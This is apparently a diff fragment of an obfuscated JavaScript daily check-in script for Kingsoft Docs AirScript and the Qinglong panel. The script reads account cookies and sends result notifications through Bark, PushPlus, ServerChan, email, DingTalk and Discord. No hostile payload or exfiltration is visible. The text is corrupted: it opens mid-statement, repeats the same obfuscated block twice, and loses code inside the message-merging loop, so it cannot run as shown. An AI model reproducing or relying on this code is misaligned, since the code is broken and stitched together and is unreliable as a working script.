dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + 